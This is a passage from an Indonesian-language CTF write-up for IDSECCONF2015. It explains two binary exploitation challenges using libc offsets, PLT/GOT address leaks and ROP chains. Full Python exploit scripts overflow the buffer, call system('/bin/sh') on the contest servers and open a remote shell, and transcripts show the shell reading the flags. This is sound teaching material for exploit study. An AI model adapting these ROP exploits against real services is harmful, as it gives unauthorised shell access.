Sebelum lanjut ke eksploitasi ada baiknya kita mengetahui/me­review beberapa hal ini terlebih dahulu :

Write Up Online CTF #IDSECCONF2015 ­ farisv

Page 20: Write up idsecconf2015 online ctf

1) libc atau C library adalah kumpulan fungs­fungsi standard yang dipakai oleh program C, misalnya

printf(), scanf(), dan juga system(). Program yang di­compile dengan C secara default akan me­link

ke library ini untuk memanggil fungsi­fungsi yang diperlukan. Tiap komputer mungkin menggunakan

libc yang berbeda­beda tergantung versinya. Pada challenge ini, diberikan libc yang dipakai oleh

program pada server.

2) system adalah fungsi untuk mengeksekusi shell command. system(“cat /etc/passwd”) akan

menjalankan ‘cat /etc/passwd’ dan system(“/bin/sh”) akan menjalankan shell.

3) Offset Address adalah jarak sesuatu dari awal address (base address). Contoh, misalnya base

address dari libc adalah X dan offset dari suatu fungsi dari libc tersebut adalah 0x4008e5 maka

address aslinya adalah X+0x4008e5. Offset ini tidak berubah namun X bisa berubah­ubah karena

ASLR.

Apa yang terjadi kalau kita memanipulasi program agar memanggil system(“/bin/sh”) dari libc? Kita akan

mendapatkan akses shell melalui program tersebut. Kita dapat melakukannya dengan buffer overflow dan

itulah tujuan dari challenge ini. Eksploitasi yang dapat dilakukan adalah ROP (Return Oriented

Programming) di mana kita akan membuat program menjalankan instruksi assembly yang sudah ada di

library maupun binary (gadget) untuk meng­return ke sesuatu yang sudah ada juga baik di library ataupun

binary.

Seperti pada pwn easy, di sini kita akan meng­overwrite rip (instruction pointer). Overwrite rip menjadi

gadget atau instruksi yang sedimikian sehingga kita bisa call system(“/bin/sh”). Sebelumnya ada hal penting

yang harus kita ketahui terlebih dahulu, yaitu offset dari system (supaya kita bisa mengetahui base address

libc) dan “/bin/sh” (ya, string “/bin/sh” bisa ditemukan di libc). Saya menggunakan libc database

https://github.com/niklasb/libc­database.

[libc-database]$ ./add libc.so.6 Adding local libc libc.so.6 (id local-1f18479f19ee690de8aab335fafd244c8aa6f17c libc.so.6) -> Writing libc to db/local-1f18479f19ee690de8aab335fafd244c8aa6f17c.so -> Writing symbols to db/local-1f18479f19ee690de8aab335fafd244c8aa6f17c.symbols -> Writing version info [libc-database]$ ./dump local-1f18479f19ee690de8aab335fafd244c8aa6f17c offset___libc_start_main_ret = 0x21ec5 offset_system = 0x0000000000046640 offset_dup2 = 0x00000000000ebfe0 offset_read = 0x00000000000eb800 offset_write = 0x00000000000eb860 offset_str_bin_sh = 0x17ccdb

Terlihat bahwa offset dari system() adalah 0x46640 dan offset dari string “/bin/sh” adalah 0x17ccdb. Berarti

untuk mendapatkan base address libc, baca address yang dikeluarkan program kemudian kurangi dengan

Write Up Online CTF #IDSECCONF2015 ­ farisv

Page 21: Write up idsecconf2015 online ctf

offset dari system(). Selanjutnya untuk mengetahui alamat string “/bin/sh” yang sebenarnya adalah dengan

menjumlahkan base address libc dengan 0x17ccdb.

Selanjutnya kita akan mencari gadget. Kita akan menaruh alamat string “/bin/sh” ke register rdi untuk

dijadikan parameter ke system(). Kita akan mencari “pop rdi” pada libc.so.6 yang diberikan agar nilai pada

stack di­pop kemudian dimasukkan ke register rdi.

$ objdump -M intel -d /lib/x86_64-linux-gnu/libc.so.6 | grep 'pop rdi' 471fc: 5f pop rdi 498b3: 5f pop rdi c1280: 5f pop rdi fa47a: 5f pop rdi

Di sekitar address fa47a ada instruksi yang cukup umum untuk dijadikan gadget.

$ objdump -M intel -d /lib/x86_64-linux-gnu/libc.so.6 | grep 'pop rdi' …… fa479: 58 pop rax fa47a: 5f pop rdi fa47b: ff d0 call rax ….

Dengan mengatur instruction pointer ke libc base address + 0xfa479, instruksi yang dilakukan adalah pop

nilai di stack ke register rax, pop lagi dan masukkan ke register rdi, kemudian alamat yang berada di register

rax akan dipanggil. Oleh karena itu, rip harus kita overwrite menjadi libc base address + 0xfa479 dan

masukkan juga address dari system() dan string “/bin/sh” agar dimasukkan ke register rax dan rdi

berturut­turut. ROP chain yang dirancang menjadi seperti ini :

[136­bytes junk] + [libc base address + 0xfa479] + [libc base address + 0x46640] + [libc base address +

0x17ccdb]

Rancang script python untuk membaca address yang diberikan, dapatkan libc base address­nya, kemudian

luncurkan exploitnya ke layanan yang disediakan dan lakukan interaksi.

from struct import pack import socket, struct, time, telnetlib s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("128.199.188.104", 17945)) gadget_offset = 0xfa479 system_offset = 0x46640 binsh_offset = 0x17ccdb given_address = s.recv(1024)[:-1]

Write Up Online CTF #IDSECCONF2015 ­ farisv

Page 22: Write up idsecconf2015 online ctf

system = int(given_address, 16) libc_base = system - system_offset gadget = libc_base + gadget_offset binsh = libc_base + binsh_offset s.recv(1024) p = 'A'*136 p += pack("<Q", gadget) p += pack("<Q", system) p += pack("<Q", binsh) s.send(p) time.sleep(0.5) t = telnetlib.Telnet() t.sock = s t.interact() s.close()

Jalankan script yang dibuat untuk mendapatkan akses shell pada server dan lihat isi flag.txt.

$ python exploit.py id uid=1001(mediumOK) gid=1001(mediumOK) groups=1001(mediumOK) ls -al total 40 drwxr-xr-x 2 root root 4096 Aug 16 21:08 . drwxr-xr-x 3 root root 4096 Aug 16 21:08 .. -r-------- 1 mediumOK mediumOK 37 Aug 18 10:17 flag.txt -r-xr-xr-x 1 medium medium 8928 Aug 16 10:16 medium -rwxr-x--- 1 root root 388 Aug 16 10:16 medium.c -rwxr-x--- 1 root root 8928 Aug 16 10:16 pwnmedium cat flag.txt flagROP_Rentetan_Orang_Perjaka_bro

Flag : ROP_Rentetan_Orang_Perjaka

*di tengah kontes, flag diubah menjadi ROP_Rentetan_Orang_Perjaka_bro

Write Up Online CTF #IDSECCONF2015 ­ farisv

Page 23: Write up idsecconf2015 online ctf

pwn 350 350 Points Pada saat kontes saya tidak sempat mengerjakan challenge ini dan berniat untuk mengerjakan setelah

kontes berakhir. Namun, belum sempat saya mulai mengerjakan, junior saya di kampus (sattvika, peringkat

5 di Online CTF) sudah berhasil merancang exploit yang benar. Sehingga selain saya mencari berbagai

macam referensi di internet, saya pun mempelajari dari cara yang dia lakukan.

Pada dasarnya pwn 350 adalah lanjutan dari pwn medium sehingga sebaiknya pembahasan dari pwn

medium dipahami terlebih dahulu. Jika di pwn medium kita diberikan address dari system() pada libc yang

dipakai, maka pwn 350 tidak memberikan address apa­apa. Layanan dari binary yang digunakan berada di

128.199.218.190 port 17458.

$ nc 128.199.218.190 17458 Dirgahayu Yang ke 70 Ayo kerja Jangan Harap alamat apapun

Apakah kita bisa melakukan hal yang sama seperti pada pwn medium (memanggil system(“/bin/sh”)) tanpa

diberikan address dari system() oleh program? Bisa, yaitu dengan me­leak alamat tertentu di libc, panggil

kembali main­nya, dan kemudian lakukan hal yang serupa dengan pwn medium.

Pada binary yang menggunakan shared library, umumnya bisa kita temukan Procedure Linkage Table atau

PLT.

$ objdump -M intel -j .plt -d pwn pwn: file format elf64-x86-64 Disassembly of section .plt: 0000000000400440 <write@plt-0x10>: 400440: ff 35 c2 0b 20 00 push QWORD PTR [rip+0x200bc2] # 601008 <_GLOBAL_OFFSET_TABLE_+0x8> 400446: ff 25 c4 0b 20 00 jmp QWORD PTR [rip+0x200bc4] # 601010 <_GLOBAL_OFFSET_TABLE_+0x10> 40044c: 0f 1f 40 00 nop DWORD PTR [rax+0x0] 0000000000400450 <write@plt>: 400450: ff 25 c2 0b 20 00 jmp QWORD PTR [rip+0x200bc2] # 601018 <_GLOBAL_OFFSET_TABLE_+0x18> 400456: 68 00 00 00 00 push 0x0 40045b: e9 e0 ff ff ff jmp 400440 <_init+0x28> 0000000000400460 <read@plt>: 400460: ff 25 ba 0b 20 00 jmp QWORD PTR [rip+0x200bba] # 601020 <_GLOBAL_OFFSET_TABLE_+0x20>

Write Up Online CTF #IDSECCONF2015 ­ farisv

Page 24: Write up idsecconf2015 online ctf

400466: 68 01 00 00 00 push 0x1 40046b: e9 d0 ff ff ff jmp 400440 <_init+0x28> 0000000000400470 <__libc_start_main@plt>: 400470: ff 25 b2 0b 20 00 jmp QWORD PTR [rip+0x200bb2] # 601028 <_GLOBAL_OFFSET_TABLE_+0x28> 400476: 68 02 00 00 00 push 0x2 40047b: e9 c0 ff ff ff jmp 400440 <_init+0x28> 0000000000400480 <__gmon_start__@plt>: 400480: ff 25 aa 0b 20 00 jmp QWORD PTR [rip+0x200baa] # 601030 <_GLOBAL_OFFSET_TABLE_+0x30> 400486: 68 03 00 00 00 push 0x3 40048b: e9 b0 ff ff ff jmp 400440 <_init+0x28>

Fungsi dari PLT adalah untuk memanggil fungsi eksternal yang alamatnya tidak diketahui ketika linking.

Untuk melakukan resolve address, digunakan GOT atau Global Offset Table. Bisa dilihat bahwa ketika

program membaca sesuatu, maka yang di­call adalah read@plt.

$ objdump -M intel -d pwn | grep "read@plt" 0000000000400460 <read@plt>: 40059f: e8 bc fe ff ff call 400460 <read@plt>

Sebenarnya ketika program membaca masukan, read yang dipakai adalah read milik libc. Nah, kalau kita

berhasil membaca GOT dari read@plt (0x601020) ini sebenarnya merujuk ke address mana ketika

program berjalan, maka kita bisa dapatkan libc base address dengan mengurangi address yang didapat

dengan offset dari read() milik libc yang diberikan pada challenge ini.

Pertama, kita akan mencoba untuk melakukan write. Kita bisa mengatur instruction pointer menjadi

write@plt (0x400450), namun sebelumnya kita harus mengisi register rdi dengan 0x01 (agar bisa

melakukan write) dan rsi dengan alamat GOT read@plt (0x601020). Oleh karena itu kita akan mencari

gadget untuk pop rdi dan pop rsi. Di sini saya memakai http://ropshell.com/ untuk mencari gadget dengan

mengunggah binary dari challenge ini ke situs tersebut terlebih dahulu.

http://ropshell.com/ropsearch?h=941a4ddec7c23d91d6eecf7b85d63e82&p=pop+rdi

ropshell> search pop rdi found 1 gadgets > 0x00400643 : pop rdi; ret

http://ropshell.com/ropsearch?h=941a4ddec7c23d91d6eecf7b85d63e82&p=pop+rsi

ropshell> search pop rsi found 1 gadgets > 0x00400641 : pop rsi; pop r15; ret

Write Up Online CTF #IDSECCONF2015 ­ farisv

Page 25: Write up idsecconf2015 online ctf

Perlu diperhatikan untuk 0x00400641, selain pop rsi juga dilakukan pop r15. Karena register r15 tidak

terpakai jadi bisa kita isi dengan 8­bytes sembarang.

ROP chain untuk melakukan write terhadap read@plt ini adalah :

[136­bytes junk] + [pop rdi; ret] + [0x00000001] + [pop rsi; pop r15; ret] + [GOT read@plt] + [8­bytes junk]

+ [write@plt]

Instruction pointer pertama diarahkan ke ‘pop rdi; ret’ kemudian rdi diisi dengan 0x01, instruction pointer

berikutnya diarahkan ke ‘pop rsi; pop r15; ret’ kemudian rsi diisi dengan address GOT read@plt dan r15 diisi

dengan 8­bytes junk, kemudian instruction pointer diarahkan untuk memanggil write. Kita coba untuk

merancang script python untuk mengirimkan ROP chain ini.

from struct import pack import socket, struct s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("128.199.218.190", 17458)) got_readplt = 0x601020 writeplt = 0x400450 poprdi = 0x400643 # pop rdi; ret poprsi = 0x400641 # pop rsi; pop r15; ret s.recv(1024) p = 'A'*(136) p += pack("<Q", poprdi) p += pack("<Q", 1) p += pack("<Q", poprsi) p += pack("<Q", got_readplt) p += 'A'*8 p += pack("<Q", writeplt) s.send(p) output = s.recv(8) print output.encode("hex")

Jalankan script tersebut.

$ python leak.py 70f426e9a57f0000

Terlihat bahwa program mengeluarkan sebuah address. Setiap script dijalankan, address yang keluar juga

berbeda­beda. Dengan demikian kita berhasil melakukan leak terhadap address dari read() pada libc.

Write Up Online CTF #IDSECCONF2015 ­ farisv

Page 26: Write up idsecconf2015 online ctf

Langkah selanjutnya sebenarnya dapat kita lakukan seperti pada pwn medium, tetapi yang jadi masalah

adalah program langsung keluar setelah me­leak address. Oleh karena itu, kita atur agar program kembali

ke main. Kita tidak dapat langsung mengatur instruction pointer untuk ke main setelah ROP chain

sebelumnya. Alternatifnya, kita atur agar program memanggil read dan setelah ada masukan, baru program

akan melanjutkan ke main. Dari hasil objdump sebelumnya, alamat read@plt adalah 0x400460.

$ objdump -M intel -d pwn | grep main 0000000000400470 <__libc_start_main@plt>: 4004b4: e8 b7 ff ff ff call 400470 <__libc_start_main@plt> 00000000004005a6 <main>:

Alamat main adalah 0x4005a6. Oh, ya untuk memanggil read, kita harus mengisi register rdi dengan 0 dan

mengisi register rsi dengan tujuannya. yaitu .data. Pembentukan ROP chain­nya sama dengan sebelumnya.

Di sini kita masih memerlukan address dari .data. Kita bisa dapatkan address dari .data melalui IDA.

Address dari .data adalah 0x601038. Berikut adalah ROP chain melanjutkan chain sebelumnya.

[ROP chain untuk leak address] + [pop rdi] + [0x00000000] + [pop rsi; pop r15; ret] + [.data] + [8­bytes junk]

+ [read@plt] + [main]

ROP chain ini kemudian harus dilengkapi lagi untuk meng­execute /bin/sh seperti pada pwn medium. Kita

sudah dapatkan leak address dari read() pada libc. Kita cari tahu offset dari read(), system(), dan string

“/bin/sh” pada libc yang diberikan dengan libc­database.

[libc-database]$ ./add libc.so.6 Adding local libc libc.so.6 (id local-4ebafaaba14f0c361facb0a2ff38de4f5a954c9a libc.so.6) -> Writing libc to db/local-4ebafaaba14f0c361facb0a2ff38de4f5a954c9a.so -> Writing symbols to db/local-4ebafaaba14f0c361facb0a2ff38de4f5a954c9a.symbols -> Writing version info [libc-database]$ ./dump local-4ebafaaba14f0c361facb0a2ff38de4f5a954c9a offset___libc_start_main_ret = 0x20a40 offset_system = 0x00000000000443d0 offset_dup2 = 0x00000000000f7b90

Write Up Online CTF #IDSECCONF2015 ­ farisv

Page 27: Write up idsecconf2015 online ctf

offset_read = 0x00000000000f7470 offset_write = 0x00000000000f74d0 offset_str_bin_sh = 0x18c3dd

Didapatkan offset dari system() adalah 0x443d0, offset dari read() adalah 0xf7470, dan offset dari string

“/bin/sh” adalah 0x18c3dd.

Karena program sudah kembali ke main dan membaca sesuatu, ROP chain untuk meng­execute “/bin/sh”

mirip dengan pada pwn medium hanya saja karena di sini kita memakai gadget ‘pop rdi; ret’ maka kita

masukkan langsung string “/bin/sh” ke register rdi dan kemudian panggil system dengan memasukkan

address dari system().

[136­bytes junk] + [pop rdi; ret] + [string “bin/sh”] + [system]

Berikut adalah script python untuk melakukan exploit secara lengkap.

from struct import pack import socket, struct, time, telnetlib s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("128.199.218.190", 17458)) got_readplt = 0x601020 write = 0x400450 main = 0x4005a6 data = 0x601038 read = 0x400460 poprdi = 0x400643 # pop rdi; ret poprsi = 0x400641 # pop rsi; pop r15; ret read_libc_offset = 0xf7470 binsh_offset = 0x18c3dd system_offset = 0x443d0 # Stage 1 : Leak read() address in libc, read an input to .data (for dummy), and go to main s.recv(1024) p = 'A'*(128+8) p += pack("<Q", poprdi) p += pack("<Q", 1) p += pack("<Q", poprsi) p += pack("<Q", got_readplt) p += 'A'*8 p += pack("<Q", write) p += pack("<Q", poprdi) p += pack("<Q", 0) p += pack("<Q", poprsi) p += pack("<Q", data) p += 'A'*8 p += pack("<Q", read) p += pack("<Q", main)

Write Up Online CTF #IDSECCONF2015 ­ farisv

Page 28: Write up idsecconf2015 online ctf

s.send(p) output = s.recv(8) read_libc = struct.unpack("<Q", output)[0] s.send("a") # dummy # Stage 2 : ROP for execute /bin/sh libc_base = read_libc - read_libc_offset system = libc_base + system_offset binsh = libc_base + binsh_offset s.recv(1024) p = 'A'*(128+8) p += pack("<Q", poprdi) p += pack("<Q", binsh) p += pack("<Q", system) s.send(p) # Interact with shell time.sleep(0.5) t = telnetlib.Telnet() t.sock = s t.interact() s.close()

Jalankan script untuk mendaptkan akses shell pada server layanan yang disediakan.

$ python exploit.py Dirgahayu Yang ke 70 Ayo kerja Jangan Harap alamat apapun id uid=1002(hard) gid=1002(hard) groups=1002(hard) ls -al total 2632 drwxr-xr-x 2 root root 4096 Aug 18 02:22 . drwxr-xr-x 5 root root 4096 Aug 13 11:49 .. -r-------- 1 hard hard 31 Aug 18 10:32 flag.txt -rwxr-xr-x 1 hardOK hardOK 8640 Aug 18 01:46 hard -rwxr-x--- 1 root root 290 Aug 18 01:46 hard.c -rwxr-xr-x 1 root root 1869392 Aug 18 02:17 libc.so.6 -rw-r--r-- 1 root root 793641 Aug 18 02:19 pwn3.tar.gz cat flag.txt flagini_buk4n_gadgets_p0ns3l

Flag : ini_buk4n_gadgets_p0ns3l

Write Up Online CTF #IDSECCONF2015 ­ farisv